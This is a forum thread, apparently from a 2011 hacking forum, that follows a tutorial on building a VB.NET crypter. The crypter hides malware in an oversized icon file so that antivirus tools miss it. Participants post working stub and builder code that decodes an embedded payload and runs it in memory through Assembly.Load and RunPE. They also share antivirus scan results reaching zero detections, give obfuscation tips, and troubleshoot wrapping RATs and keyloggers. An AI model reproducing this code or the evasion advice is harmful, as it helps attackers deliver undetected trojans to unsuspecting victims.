For i = 1673 + 287356 - 500 To 1673 + 287356 - 500 + d.Count - 1

f(i) = d(i - (1673 + 287356 - 500))

Next

f(1673 + 287356 - 500 + d.Count - 1) = &HAA

Xflinitrix - March 14, 2011, 7:52 pm

Hmmm so ive got the crypter working and what not mine is not fud, its 3/19 is it because of the icon?

stefsot - March 15, 2011, 3:23 am

(Mar 14, 2011 07:52 PM)Xflinitrix Wrote: [\[CITE\]](#) Hmmm so ive got the crypter working and what not mine is not fud, its 3/19 is it because of the icon?

rename the variables and the functions, obfuscate it.

SuckMyDong - March 15, 2011, 6:12 am

Hey i still keep running into this error,It keeps bugging me so i really need a hand over here
Explaining what i do wrong cause as far as i can see i type the code and path's correctly

This is my error :
EDIT : Fixed!!

Thank u

jamiefleming - March 15, 2011, 6:42 am

(Mar 15, 2011 06:12 AM)MRblack Wrote: [\[CITE\]](#) Hey i still keep running into this error,It keeps bugging me so i really need a hand over here Explaining what i do wrong cause as far as i can see i type the code and path's correctly

This is my error :
[img]http://img138.imageshack.us/img138/906/naamloosgj.png[/img]

Any explanation would be great :)

Thank u
Put the directory like this "your icon here.ico" and the same for the other
"C:/blabla "

SuckMyDong - March 15, 2011, 6:51 am

(Mar 15, 2011 06:42 AM)jamiefleming Wrote: [\[CITE\]](#) Put the directory like this "your icon here.ico" and the same for the other
"C:/blabla "

Aight thanks man I did ' before and still got error but its " :)
Haha it works now thanks for the help :)

Air0x - March 15, 2011, 7:14 am

Wow awesome tutorial very good explained +rep..

Taoumek - March 15, 2011, 9:57 am

Thank YOu Very match For The explanation ! It Works Now !!?
Hop it can FUD my CG Server ?

jamiefleming - March 15, 2011, 11:45 am

Now getting an error for Dim f As Byte() = Convert.FromBase64String(q(1)) when i click crypt. i dont get the byte bit lol

How do you get the byte,? i have the offset then what i dont understand lmao

stefsot - March 15, 2011, 12:02 pm

(Mar 15, 2011 11:45 AM)jamiefleming Wrote: [\[CITE\]](#) Now getting an error for Dim f As Byte() = Convert.FromBase64String(q(1)) when i click crypt. i dont get the byte bit lol

How do you get the byte,? i have the offset then what i dont understand lmao

Have you finished correctly the TuT? It seems that oyu haven't added the stub to your crypter.

jamiefleming - March 15, 2011, 12:12 pm

(Mar 15, 2011 12:02 PM)stefsot Wrote: [\[CITE\]](#) Have you finished correctly the TuT? It seems that oyu haven't added the stub to your crypter.

Yes done all the steps, How do i get the byte i have the offset

SuckMyDong - March 15, 2011, 4:21 pm

Ok i am almost there but i run into a problem,when i run the mainbuilder in vb and press crypt then i get this error :

Spoiler ([Click to View](#))

Could somebody help me out ?

Thanks

Gringo241 - March 15, 2011, 4:36 pm

(Mar 15, 2011 04:21 PM)MRblack Wrote: [\[CITE\]](#) Ok i am almost there but i run into a problem,when i run the mainbuilder in vb and press crypt then i get this error :

Spoiler ([Click to View](#))

Could somebody help me out ?

Thanks

If you stop C&P'ing you would not have this problem!

SuckMyDong - March 15, 2011, 4:43 pm

Yea well i am new to vb.net so, i aint c&p'n i am trying to understand whats going on here but i need a hand..

peace

GodWall - March 15, 2011, 5:31 pm

Wow dude, awesome work, I'll try this now thanks, If this works well it will be amazing :) I'll bookmark and report back :) Also have you tryed pumping your ico, would this work?

SuckMyDong - March 15, 2011, 6:04 pm

Spoiler ([Click to View](#))

Could somebody help me out plz ?

Would be great

peace

stefsot - March 16, 2011, 3:51 am

(Mar 15, 2011 05:31 PM)GodWall Wrote: [\[CITE\]](#) Wow dude, awesome work, I'll try this now thanks, If this works well it will be amazing :) I'll bookmark and report back :) Also have you tryed pumping your ico, would this work?

This will definitely work ;), I'm waiting to see your result.

HackerSnor - March 16, 2011, 7:25 am

Hello ,

im looking to this thread and wanted to make this crypter but i have a problem with 'the path to your stub (compiled project1)

i dont know to what folder i need to go?
i have now this :

```
Dim p As String =  
"C:\Users\hh\Desktop\crypternewmethode\crypternewmethode\crypternewmethode.vbproj"
```

what do you have? do i need to link to my vbproj or form or ...
thanks

SuckMyDong - March 16, 2011, 7:27 am

(Mar 16, 2011 07:25 AM)HackerSnor Wrote: [\[CITE\]](#) Hello ,

im looking to this thread and wanted to make this crypter but i have a problem with 'the path to your stub (compiled project1)

i dont know to what folder i need to go?
i have now this :

```
Dim p As String =  
"C:\Users\hh\Desktop\crypternewmethode\crypternewmethode\crypternewmethode.vbproj"
```

what do you have? do i need to link to my vbproj or form or ...
thanks

```
U make it like  
Dim p As String =  
"C:\Users\hh\Desktop\crypternewmethode\crypternewmethode\crypternewmethode\release\stub.exe"  
"
```

Peace

HackerSnor - March 16, 2011, 7:59 am

(Mar 16, 2011 07:27 AM)MRblack Wrote: [\[CITE\]](#) U make it like

```
Dim p As String =  
"C:\Users\hh\Desktop\crypternewmethode\crypternewmethode\crypternewmethode\release\stub.exe"  
"
```

Peace

thanks thanks

but now i get this error when i try to bind them together in button 2 in project 2 : Access to the path 'C:\v2.exe' is denied.

i putted my crypter in C:\ folder and my stub.exe too
hmm

SuckMyDong - March 16, 2011, 8:14 am

Would be nice if somebody could help out here :)

Spoiler ([Click to View](#))

I read the code like 10 times it seems easy to fix but i just cant find it,if somebody could help gets a

present :P

Peace

Taoumek - March 16, 2011, 10:26 am

ANother PProblem :

My CG Server Crash When I crypt it ! What should I do To Fix This ??

Gringo241 - March 16, 2011, 11:32 am

(Mar 16, 2011 07:59 AM)HackerSnor Wrote: [\[CITE\]](#) thanks thanks
but now i get this error when i try to bind them together in button 2 in project 2 : Access to the path
'C:\v2.exe' is denied.

i putted my crypter in C:\ folder and my stub.exe too

hmm

Right click and run program as administrator.

Or you could do something like this..

[IMG]<http://i288.photobucket.com/albums/ll191/djgringoboy2003/HF-3.jpg>[IMG]

Code Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click

Dim stub As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox2.Text))

IO.File.AppendAllText(TextBox3.Text, "(12345)&(12345)" & stub)

End Sub

Private Sub TextBox2_MouseClick(ByVal sender As Object, ByVal e As
System.Windows.Forms.MouseEventHandler) Handles TextBox2.MouseClick

With ofd

.FileName = ""

.Filter = "Executable(*.exe)|*.exe"

.Title = "Open Stub"

.ShowDialog()

TextBox2.Text = .FileName

End With

End Sub

Private Sub TextBox3_MouseClick(ByVal sender As Object, ByVal e As
System.Windows.Forms.MouseEventHandler) Handles TextBox3.MouseClick

With ofd

.FileName = ""

.Filter = "Executable(*.exe)|*.exe"

.Title = "Open Client"

.ShowDialog()

TextBox3.Text = .FileName

End With

End Sub

By doing this you can load/make the files from anywhere you want.

stefsot - March 16, 2011, 11:57 am

(Mar 16, 2011 11:32 AM)Gringo241 Wrote: [\[CITE\]](#) Right click and run program as administrator.

Or you could do something like this..

[IMG]http://i288.photobucket.com/albums/ll191/djgringoboy2003/HF-3.jpg[/IMG]

```
Code Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
    Dim stub As String = Convert.ToBase64String(IO.File.ReadAllBytes([b]TextBox2.Text[/b]))

    IO.File.AppendAllText([b]TextBox3.Text[/b], "(12345)&(12345)" & stub)
End Sub
```

```
Private Sub TextBox2_MouseClick(ByVal sender As Object, ByVal e As
System.Windows.Forms.MouseEventArgs) Handles TextBox2.MouseClick
With ofd
    .FileName = ""
    .Filter = "Executable(*.exe)|*.exe"
    .Title = "Open Stub"
    .ShowDialog()
    TextBox2.Text = .FileName
End With
End Sub
```

```
Private Sub TextBox3_MouseClick(ByVal sender As Object, ByVal e As
System.Windows.Forms.MouseEventArgs) Handles TextBox3.MouseClick
With ofd
    .FileName = ""
    .Filter = "Executable(*.exe)|*.exe"
    .Title = "Open Client"
    .ShowDialog()
    TextBox3.Text = .FileName
End With
End Sub
```

By doing this you can load/make the files from anywhere you want.
Thank you for helping members ;)

Tuxx95 - March 16, 2011, 2:28 pm

Awesome tut man Theoretical +rep!
this will be featured in my future rat :D
Just thought of something couldnt you use?
Code f.ToString().IndexOf(o.ToString());
also does this work with any exe or .net only?

GodWall - March 16, 2011, 8:27 pm

(Mar 16, 2011 03:51 AM)stefsot Wrote: [CITE](#) This will definitely work ;), I'm waiting to see your result.

100% bro this is so awesome, on novirusthanks its clean :)

Detection rate: 0 on 9 (0%)
Status: CLEAN
Antivirus Database Engine Result
Avast 17/03/2011 5.0
AVG 17/03/2011 10.0.0.1190
ClamAV 17/03/2011 0.97

Comodo 17/03/2011 4.0
Emsisoft 17/03/2011 5.1.0.2
F-Prot 17/03/2011 6.3.3.4884
Ikarus 17/03/2011 T31001097
TrendMicro 17/03/2011 9.200.0.1012
Zoner 17/03/2011 0.2

This was an excellent tut and an amazing crypting concept, ? thank you 4 sharing this I haven't even tried to fud it or anything strait from the tut and clean, ?
I will have some fun playing with this and if anything is released you'll be at the top of credits bro :)
??

I can't rate this or give you rep, wish I could I hope those with that privileged do, this should be 5 star and rep the shit out this guy, truly awesome, quality work that he shared to this community.

Edit:found little bug, after encryption if you run encrypted file, stub shows up in taskbar, Ok I know that in most cases this is easy fix but this server is touchy and cant just go to property's and add false to show in taskbar because it makes server crash, anyone else getting this ? Or did I just f**k something up lol??? only way to close is to kill it in task manager. This isn't good 4 me please help, thanks.

apt-get money - March 17, 2011, 1:04 am

its a good crypter , too bad you can only crypt .NET files..

will this only work for vb.net08 , Or will it work for vb.NET 2010 too ??

stefsot - March 17, 2011, 7:42 am

(Mar 16, 2011 08:27 PM)GodWall Wrote: [\[CITE\]](#) Edit:found little bug, after encryption if you run encrypted file, stub shows up in taskbar, Ok I know that in most cases this is easy fix but this server is touchy and cant just go to property's and add false to show in taskbar because it makes server crash, anyone else getting this ? Or did I just f**k something up lol??? only way to close is to kill it in task manager. This isn't good 4 me please help, thanks.

It's the RunPe ;). You can always use a better one.

chester1997 - March 17, 2011, 10:44 am

Very nice tut most admit will credit your work but I can't seem to find any big size icon can you help me out a bit by giving me yours or something thanks.

SuckMyDong - March 17, 2011, 11:18 am

(Mar 17, 2011 10:44 AM)chester1997 Wrote: [\[CITE\]](#) Very nice tut most admit will credit your work but I can't seem to find any big size icon can you help me out a bit by giving me yours or something thanks.

Just find a icon and throw it in IrfanView then u add some crap to it,resize it..done

My icon is 10.8mb ;)

peace

chester1997 - March 17, 2011, 1:54 pm

(Mar 17, 2011 11:18 AM)MRblack Wrote: [\[CITE\]](#) Just find a icon and throw it in IrfanView then u add some crap to it,resize it..done

My icon is 10.8mb ;)

peace

Thanx man appreciate your help? TIME TO PWN SOME N00BZ?

GodWall - March 17, 2011, 2:27 pm

(Mar 17, 2011 07:42 AM)stefsot Wrote: [\[CITE\]](#) It's the RunPe ;). You can always use a better one.
ok I can try that thanks, also for those looking 4 icons, I use Resource hacker to rip them, I also find some games have big icons, also MRblack has good idea I think I'll check out IrfanView as well, thanks 4 that tip :)

(Mar 17, 2011 01:04 AM)(L) Wrote: [\[CITE\]](#) its a good crypter , too bad you can only crypt .NET files..

will this only work for vb.net08 , Or will it work for vb.NET 2010 too ??Im using 2010 working fine :)

SuckMyDong - March 17, 2011, 3:46 pm

EDIT : Fixed !

Toshortt

GodWall - March 17, 2011, 4:19 pm

(Mar 17, 2011 03:46 PM)MRblack Wrote: [\[CITE\]](#) I Really need a hand over here plz
Spoiler [\(Click to View\)](#)

I have search'd my ass off last 2 days but i just cannot fix the error :(

If somebody could take a look at my code that would be awesome..

Thanks in advance!

HMM.. That error looks familiar, I think I had it when changing the place where my crypted file was to be placed If I remember right it was in this part of code:

```
IO.File.WriteAllBytes(TextBox2.Text, f)
```

like me you tried changing this, I did a quick fix for now thats working
try this:

```
IO.File.WriteAllBytes("C:\Documents and Settings\All Users\Desktop\crypted.exe", f)
```

I did this to eliminate having to use textbox2 and deleted it from the project, now it writes to my desktop, its not permanent but works ok 4 now, until I can get to it lol, hope this helps.

Gringo241 - March 17, 2011, 4:56 pm

(Mar 17, 2011 03:46 PM)MRblack Wrote: [\[CITE\]](#) I Really need a hand over here plz
Spoiler [\(Click to View\)](#)

I have search'd my ass off last 2 days but i just cannot fix the error :(

If somebody could take a look at my code that would be awesome..

Thanks in advance!

The problem is that you are trying to debug the client without adding the stub.
You don't have a problem. ;)

(Mar 17, 2011 04:19 PM)GodWall Wrote: [\[CITE\]](#) HMM.. That error looks familiar, I think I had it when changing the place where my crypted file was to be placed If I remember right it was in this part of code:

```
IO.File.WriteAllBytes(TextBox2.Text, f)
```

like me you tried changing this, I did a quick fix for now thats working

try this:

```
IO.File.WriteAllBytes("C:\Documents and Settings\All Users\Desktop\crypted.exe", f)
```

I did this to eliminate having to use textbox2 and deleted it from the project, now it writes to my desktop, its not permanent but works ok 4 now, until I can get to it lol, hope this helps.

You could eliminate that problem by right clicking the program and then running it as administator.

SuckMyDong - March 18, 2011, 4:27 am

(Mar 17, 2011 04:56 PM)Gringo241 Wrote: [\[CITE\]](#) The problem is that you are trying to debug the client without adding the stub.

You don't have a problem. ;)

You could eliminate that problem by right clicking the program and then running it as administator.

@GodWall : Thanks man il go try that see what it brings me :P

@Gringo241 : I always run my stuf as admin also this time i did,but i get desktop acces denied error or matrix is out of boundaries

Even in Winxp ;)

EDIT: i MAnaged to get it fully working i made a mistype in the source i just found out,but when my crypted file gets placed on the desktop its 22.5mb?

I added a 10.5mb icon so i wont have troubles loading a server should that be the problem or ?

BloodFire - March 18, 2011, 5:49 am

can someone help?:(

noob here im trying to learn in this prog

is this a dependency error?:|

this is the error before debug

[IMG]http://i52.[censored].com/6ogyma.jpg[/IMG]

and this is the error when i start debug and click the button1 :(

[IMG]http://i55.[censored].com/311xvuo.jpg[/IMG]

can anyone help:(

sorry for being so noob:(

SuckMyDong - March 18, 2011, 5:51 am

The first error is just a warning,u can compile with it.

About the next one : are u sure thats the right path to the added icon ?

BloodFire - March 18, 2011, 6:02 am

(Mar 18, 2011 05:51 AM)MRblack Wrote: [\[CITE\]](#) The first error is just a warning,u can compile with it.

About the next one : are u sure thats the right path to the added icon ?

thanks mate i got it now the icon path in project1 and project2 must have the same path.. and now it has no error when i click the button one :D

thanks a lot:D

it has no error but the offset integer is not showing in the textbox :(

SuckMyDong - March 18, 2011, 6:45 am

Build>Publish>GotoFolder Release>Run as Admin in win7/vista and it should be there if no errors pop up

BloodFire - March 18, 2011, 6:56 am

(Mar 18, 2011 06:45 AM)MRblack Wrote: [\[CITE\]](#) Build>Publish>GotoFolder Release>Run as Admin in win7/vista and it should be there if no errors pop up

problem fix >_< got app_path and icon_path switched >_<

thanks again so much^^

to the next step

edit* new error in stub :(

Code Imports System.Reflection

Imports System.Runtime.CompilerServices

Public Class Form1

Dim t As Threading.Thread = New Threading.Thread(AddressOf run_bytes)

Dim icon_length As Integer = 287356

Dim mikos As String

Dim locationstart As Integer = 1673 + icon_length - 500

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles MyBase.Load '[b]<~~~getting Error 2 Event 'Load' cannot be found. C:\Users\DAVE\Documents\Visual Studio

2010\Projects\project3\project3\Form1.vb 9 103 project3[/b]

On Error Resume Next

Me.Location = New Point(-50, -50) '[b]<~~~getting a Error 3 'Location' is not a member of 'project3.Form1'. C:\Users\DAVE\Documents\Visual Studio

2010\Projects\project3\project3\Form1.vb 11 9 project3[/b]

Dim f As Byte() = IO.File.ReadAllBytes(Application.ExecutablePath)

For i = locationstart To locationstart + 7

If Not f(i) = &HAA Then

mikos &= f(i)

Else

Exit For

End If

Next

Dim b As Byte()

ReDim b(mikos)

For i = 1673 + 500 To 1673 + 500 + mikos - 2

b(i - 1673 - 500) = f(i)

Next

Dim new_ As Byte()

ReDim new_(b.Count - 2)

For i = 0 To b.Count - 3

new_(i) = b(i)

Next

t.Start(ERWTVTHCGAFSEDEDAEDscsegef(new_))

me.hide() '[b]<~~~gettnng aError 4 'hide' is not a member of

```

'project3.Form1'. C:\Users\DAVE\Documents\Visual Studio
2010\Projects\project3\project3\Form1.vb 31 9 project3[/b]
    End Sub
    Private Sub run_bytes(ByVal bytes As Byte())
    Dim assembly As Assembly = assembly.Load(bytes)
    Dim entryPoint As MethodInfo = [assembly].EntryPoint
    Dim objectValue As Object =
RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
    entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String()
{"1"}}})
    End Sub
    Function ERWTVTHCGAFSEDEDAEDscsegef(ByVal data As Byte()) As Byte() 'unsecure
For i = 0 To data.Count - 1
    If Not data(i) = 255 Then
    data(i) += 1
    Else
    data(i) = 0
    End If
Next
Return data
    End Function
End Class
hope someone can help me:(??

```

stefsot - March 18, 2011, 1:29 pm

(Mar 18, 2011 06:56 AM)domcrus Wrote: [\[CITE\]](#) problem fix >_< got app_path and icon_path
switched >_<

thanks again so much^^

to the next step

edit* new error in stub :(

Code Imports System.Reflection

Imports System.Runtime.CompilerServices

Public Class Form1

Dim t As Threading.Thread = New Threading.Thread(AddressOf run_bytes)

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On Error Resume Next

Me.Location = New Point(-50, -50) '[b]<~~~getting a Error 3 'Location' is not a member of
'project3.Form1'. C:\Users\DAVE\Documents\Visual Studio

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Dim f As Byte() = IO.File.ReadAllBytes(Application.ExecutablePath)

For i = locationstart To locationstart + 7

If Not f(i) = &HAA Then

mikos &= f(i)

Else

Exit For

```

End If
Next
Dim b As Byte()
ReDim b(mikos)
For i = 1673 + 500 To 1673 + 500 + mikos - 2
    b(i - 1673 - 500) = f(i)
Next
Dim new_ As Byte()
ReDim new_(b.Count - 2)
For i = 0 To b.Count - 3
    new_(i) = b(i)
Next
t.Start(ERWTVTHCGAFSEDAEDscsegef(new_))
me.Hide() '[b]<~~~getting an error 4 'hide' is not a member of
'project3.Form1'. C:\Users\DAVE\Documents\Visual Studio
2010\Projects\project3\project3\Form1.vb 31 9 project3[/b]
End Sub
Private Sub run_bytes(ByVal bytes As Byte())
Dim assembly As Assembly = Assembly.Load(bytes)
Dim entryPoint As MethodInfo = [assembly].EntryPoint
Dim objectValue As Object =
RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String()
{"1"}})
End Sub
Function ERWTVTHCGAFSEDAEDscsegef(ByVal data As Byte()) As Byte() 'unsecure
For i = 0 To data.Count - 1
If Not data(i) = 255 Then
data(i) += 1
Else
data(i) = 0
End If
Next
Return data
End Function
End Class

```

hope someone can help me:??

As far as I have seen, you're trying to build something much more greater than you can put up with... You should learn easier things, at first, and come later here.

@MRblack

Thank you for helping the members.

sl1ne - March 18, 2011, 2:33 pm

Hello,

I get the following error if I try to crypt my file:

The index was out of the arrayrange.

Can you help me? I tried everything possible but I can't get it work.

Thanks in advance

TheGamersGodly - March 18, 2011, 10:02 pm

i got error's when creating the 2nd project.

jamiefleming - March 19, 2011, 5:15 am

eventually got this working, Cheers to MRBlack (L)

SCAN:Spoiler ([Click to View](#)) File Info

Report date: 2011-03-19 13:12:09 (GMT 1)

File name: setup-673-exe

File size: 260096 bytes

MD5 Hash: a5e1896326e47bf2cfbe43a7c3d2abba

SHA1 Hash: 95284f2a2cdaf0f6811d2fd5b6db1e19bc21e58a

Detection rate: 2 on 9 (22%)

Status: INFECTED

Detections

Avast - Win32:Delf-AIC [Trj]

AVG -

ClamAV -

Comodo -

Emsisoft -

F-Prot -

Ikarus -

TrendMicro -

Zoner - Trojan.Injector.I

Scan report generated by

NoVirusThanks.org

SuckMyDong - March 19, 2011, 7:41 am

(Mar 19, 2011 05:15 AM)jamiefleming Wrote: ([CITE](#)) eventually got this working, Cheers to MRBlack (L)

SCAN:Spoiler ([Click to View](#)) File Info

Report date: 2011-03-19 13:12:09 (GMT 1)

File name: setup-673-exe

File size: 260096 bytes

MD5 Hash: a5e1896326e47bf2cfbe43a7c3d2abba

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ClamAV -

Comodo -

Emsisoft -

F-Prot -

Ikarus -

TrendMicro -

Zoner - Trojan.Injector.I

Scan report generated by

NoVirusThanks.org

Allright mate :) Now we need to ad a new runpe, fud it and add some options,
Ive seen that these runpe's are a pain in the ass to get these days so thats the next challenge for me :P

Peace

BloodFire - March 19, 2011, 5:43 pm

i finally got it running ^^

i learned a lot in this TUT thanks a million
stefsot and MRblack

[IMG][http://i56.\[censored\].com/21noe14.jpg](http://i56.[censored].com/21noe14.jpg)[/IMG]

File Info

Report date: 2011-03-20 01:34:50 (GMT 1)

File name: plugin2-exe

File size: 989696 bytes

MD5 Hash: ff46a029801ed0e9285857e4dd7133a3

SHA1 Hash: 35bad329a5985eb04052c06dedbc6e14556ae4f2

Detection rate: 2 on 9 (22%)

Status: INFECTED

Detections

Avast - MSIL:Inject-AF [Trj]

AVG -

ClamAV -

Comodo -

Emsisoft -

F-Prot -

Ikarus -

TrendMicro -

Zoner - Trojan.Injector.AT

Scan report generated by

NoVirusThanks.org

rikicasti - March 20, 2011, 7:10 am

grazie ..;)...ho capito come funziona finalmente a parte la difficolta' della lingua:))...

jamiefleming - March 20, 2011, 9:09 pm

Having problems connecting back to my RAT anyone else?

Does anyone have a solution for this

SuckMyDong - March 21, 2011, 6:12 am

(Mar 20, 2011 09:09 PM)jamiefleming Wrote: [\[CITE\]](#) Having problems connecting back to my RAT anyone else?

Does anyone have a solution for this

Yep me to,Its the RunPE for sure,we need to add a new one,but i need a tut or something the first time i just cant figure out how it works,adding a new runpe and deleting the old one exactly :P

I would like some help on this to...

Peace

FANB?Y - March 21, 2011, 7:31 am

daa mandaaa ninde thenga kola

bachirsh21 - March 21, 2011, 10:20 am

Thank you for your effort and continued with the good new:)

Taoumek - March 21, 2011, 10:47 am

I Don't Know How To Change The Runpe ... :S
any tutorials ??

Gringo241 - March 21, 2011, 1:17 pm

(Mar 21, 2011 10:47 AM)Taoumek Wrote: [\[CITE\]](#) I Don't Know How To Change The Runpe ... :S
any tutorials ?? Here's a hint
Code t.Start(ERWTVTHCGAFSEDAEDscsegef(new_))

?D?vi??c?t?™ - March 21, 2011, 2:16 pm

we need to combine both stub and virus (I'll be calling it virus) into a new file (the server).

Hmm correct me if I'm wrong but isn't this like backdooring :?

stefsot - March 21, 2011, 2:24 pm

(Mar 21, 2011 02:16 PM)© Đ?????¢?t?.™ Wrote: [\[CITE\]](#) we need to combine both stub and virus (I'll be calling it virus) into a new file (the server).

Hmm correct me if I'm wrong but isn't this like backdooring :?
This is a crypter my friend -.-

GodWall - March 28, 2011, 4:43 pm

This was such a gr8 tut, :)

Reaper™ - March 28, 2011, 6:10 pm

nice work

too short !!

jeffsga - April 3, 2011, 12:58 am

Great tutorial stefstot, very easy to follow. Anyways I have a couple quick questions. Has anyone been able to implement a working RunPE with this and run their virus (specifically if its extension is .jpg / .png like you said we should be able to do)? Also, I've replaced the RunPE with one I found from HF and replaced the t.Start(ERWTVTHCGAFSEDAEDscsegef(new_)) with DD.SRexec(ERWTVTHCGAFSEDAEDscsegef(new_), Application.ExecutablePath). It runs the program without errors and shows up in the taskmgr + taskbar - but it doesn't execute my virus. My guess is that the data I'm passing to it when it's crypting is getting corrupted, therefore the virus is messed up when run. I've read some tuts on HF and haven't been able to figure this one out, so any help would be greatly appreciated. Anyways great tutorial.

stefsot - April 3, 2011, 2:38 am

(Apr 3, 2011 12:58 AM)jeffsga Wrote: [\[CITE\]](#) Great tutorial stefstot, very easy to follow. Anyways I have a couple quick questions. Has anyone been able to implement a working RunPE with this and run their virus (specifically if its extension is .jpg / .png like you said we should be able to do)? Also, I've replaced the RunPE with one I found from HF and replaced the `t.Start(ERWTVTHCGAFSEDAEDscsegef(new_))` with `DD.SRexec(ERWTVTHCGAFSEDAEDscsegef(new_), Application.ExecutablePath)`. It runs the program without errors and shows up in the taskmgr + taskbar - but it doesn't execute my virus. My guess is that the data I'm passing to it when it's crypting is getting corrupted, therefore the virus is messed up when run. I've read some tuts on HF and haven't been able to figure this one out, so any help would be greatly appreciated. Anyways great tutorial.

Try adding different runpe. Or you can make your crypter without runpe.

jeffsga - April 3, 2011, 3:50 am

I've tried running it with two different RunPE's and still can't get it to work. Like I said before, it won't error at all but doesn't run my virus. Also, isn't RunPE needed to run rats like cybergate and darkcomet and if not how would you use without runpe (just comment out the `run_bytes` section?). I think that the runpe im using should work but that i'm just not passing the right data to it. What data should I pass to it (same as `t.start` did or something different)? and also `t` represents threading, so therefor would I need to somehow alter the threading process to use my runpe instead of the `run_bytes`? Sorry, this is the only part I'm having issues with and would appreciate anyone's help on this. Thanks in advance.

Stenography - April 3, 2011, 8:01 am

Holly FUCK !!!

THank u soo much my friend ..

ALiP - April 10, 2011, 1:52 pm

Very Nice!

But howto Adda Icon to the Form ? As a Ressource ?

Greetings

Stenography - April 11, 2011, 10:44 am

can u please upload the source ?

san77 - June 12, 2011, 10:12 pm

It works but, i crypt the server using that method but the keyboardhook and event function is not work ,can you tell me solution for this.plz?

Coleak - June 12, 2011, 10:56 pm

This thread is only like 2 years old...

3xp0r73m - June 13, 2011, 6:21 am

Awesome tutorial!

But I get Don't send when the crypted file is run :(
5 start :)

christiano - June 13, 2011, 10:10 am

Nice Tut

Thanks a lot mate

sniper-wolf - July 19, 2011, 1:31 pm

very hard cant sucesfull make it ?

DrDrill - August 4, 2011, 4:28 pm

Hi i dont know why, but i keep on getting this mistake...

I have checked the names of the stub and the icon in the folders and it is all correct 100%...

Here an image of the mistake..

IMAGE:

<http://www9.picfront.org/token/3qJM/2011/08/05/1978737.jpg>

hamarfa - October 8, 2011, 12:29 am

Thanks Bro, very interesting conception, well explained tutorial.

I am trying to build my own crypter, so it helped me very much.

Lover200XD - October 8, 2011, 1:17 am

Where can i get a big in size icon?

I don't understand it at all, can you add pictures?

inushakolla - October 8, 2011, 1:19 pm

Very nice tutorial but can someone please PM me on how to re-FUD a old public crypter source(for private uses [WILL NOT DISTRIBUTE]), that all I need to know.

RawrKitty - October 16, 2011, 3:12 pm

Very nice :) thank you for taking your time to post this.

~ Ben

G-Star Raw - October 17, 2011, 6:43 am

Thanks for this tutorial! great work mate.

Blizzard - October 17, 2011, 10:17 am

Very good post, great tutorial, Well defined and explained, Perfect.

Thanks a lot for this.

sunbinyuan - October 18, 2011, 7:47 pm

Can you post an example of your source?... A lot of people has misunderstood a part.

Thanks

xdragonzpwnxi - December 17, 2011, 5:52 pm

Got everything working, but when i run it, the stub window pops up. But thats about it.
My virus didn't pop up.

Edit: everything working now ty 8D

Venusaur - December 18, 2011, 4:23 pm

This is really nice. You should spoil the code though.

xdragonzpwnxi - December 19, 2011, 7:25 am

Nevermind ... when I crypt my keylogger and try to run it, it says stub.exe has encountered an error and needs to close. > > anyone help? :S

????? - December 19, 2011, 7:27 am

(Dec 19, 2011 08:25 AM)xdragonzpwnxi Wrote: [\[CITE\]](#) Nevermind ... when I crypt my keylogger and try to run it, it says stub.exe has encountered an error and needs to close. > > anyone help? :S
Stop C+P'ing crypter sources and you wouldn't have that problem.

globemasters - December 22, 2011, 3:18 pm

Well Done Mate Nicely Explained!!!

Thanks a lot for the Basic tut, if someone follows it the way it goes.

Damn Sure Gonna be a Crypter Master.

inushakolla - December 22, 2011, 5:02 pm

Very nice tut but I really don't understand this bit..

Code 'the path to your stub (compiled project1)

'the path to your icon you added in the stubWhat do I replace the above with? I don't understand the 'compiled' project1 and what kinda path.. do i just write c:\users\..etc

i don't get - 'compiled' project1 - is that meant to be after we made project1?

I know its noob question but forgive me I'm pretty new to VB.net :/

Furioz - December 23, 2011, 4:28 am

i'm completely new at coding and my question is , wich program did u use to make this crypter? visual basics 2010 ?

sorry for being noobish :p

thanks in advance.

brann0x16 - December 24, 2011, 9:30 am

(Dec 22, 2011 06:02 PM)inushakolla Wrote: [\[CITE\]](#) Very nice tut but I really don't understand this bit..

Code 'the path to your stub (compiled project1)

'the path to your icon you added in the stubWhat do I replace the above with? I don't understand the 'compiled' project1 and what kinda path.. do i just write c:\users\..etc

i don't get - 'compiled' project1 - is that meant to be after we made project1?

I know its noob question but forgive me I'm pretty new to VB.net :/

The first one means to type the path to your compiled stub (meaning your .exe you made). If you don't know where your compiled stub is, it's in project folder > bin > Debug > stub.exe (or whatever you named it).

The second one means the icon you used for the stub (which should be a .ico).

Type the file path like this: "C:\Users\etc...". You DO need the quotes.

MaxX0r - December 24, 2011, 11:20 am

Nice tutorial man!

Thanks for sharing!

brann0x16 - December 24, 2011, 5:21 pm

Is anyone else getting this error?

I've done all the coding correctly without any errors, I'm an administrator AND I've right-clicked and

clicked Run as administrator. Both file paths are typed correctly. I've even tried different file paths (for both files). Could anyone help me?

Bella.HF - December 24, 2011, 8:31 pm

Does this inject into the original file? Or create a new one.

Also, could you post a tutorial on how to re-fud if it gets detected?

Stonefree - December 28, 2011, 11:31 am

Does this work with win 7 64bits ? I'm pretty sure I achieved this tut without doing any mistake, but when I launch the crypted application it just does nothing but loading...

sulysaly - December 30, 2011, 3:54 am

nice tutorial man thank you for shearing

stasmic - December 30, 2011, 6:36 am

Thanks for this awesome tutorial!!!!

KissAir - January 9, 2012, 4:44 am

First of all Thanks for this tutorial Bro. Secondly, I want your support, I did exactly what you explained, i manage to combine the v2+stub, i even successfully encrypted my virus but when i opened it, It did nothing(it was binded by the image file, from this i get the idea that something went wrong). I don't care if the encrypter is not FUD. Please Help.

OwNeDI337 - January 9, 2012, 6:07 am

will try.itbif i get home ^^^
greate work!

Stenography - January 9, 2012, 7:29 am

If this is still FUD I'll cut my balls and upload a video of me doing it on youtube

idonotcare - January 11, 2012, 9:22 am

i already had the idea of storing the bytes in a .ico for about 8 month but somehow it always corrupted my bytes, ill take a look into this when i get my PC back, thanks :)

(Dec 24, 2011 06:21 PM)brann0x16 Wrote: [\[CITE\]](#) Is anyone else getting this error?

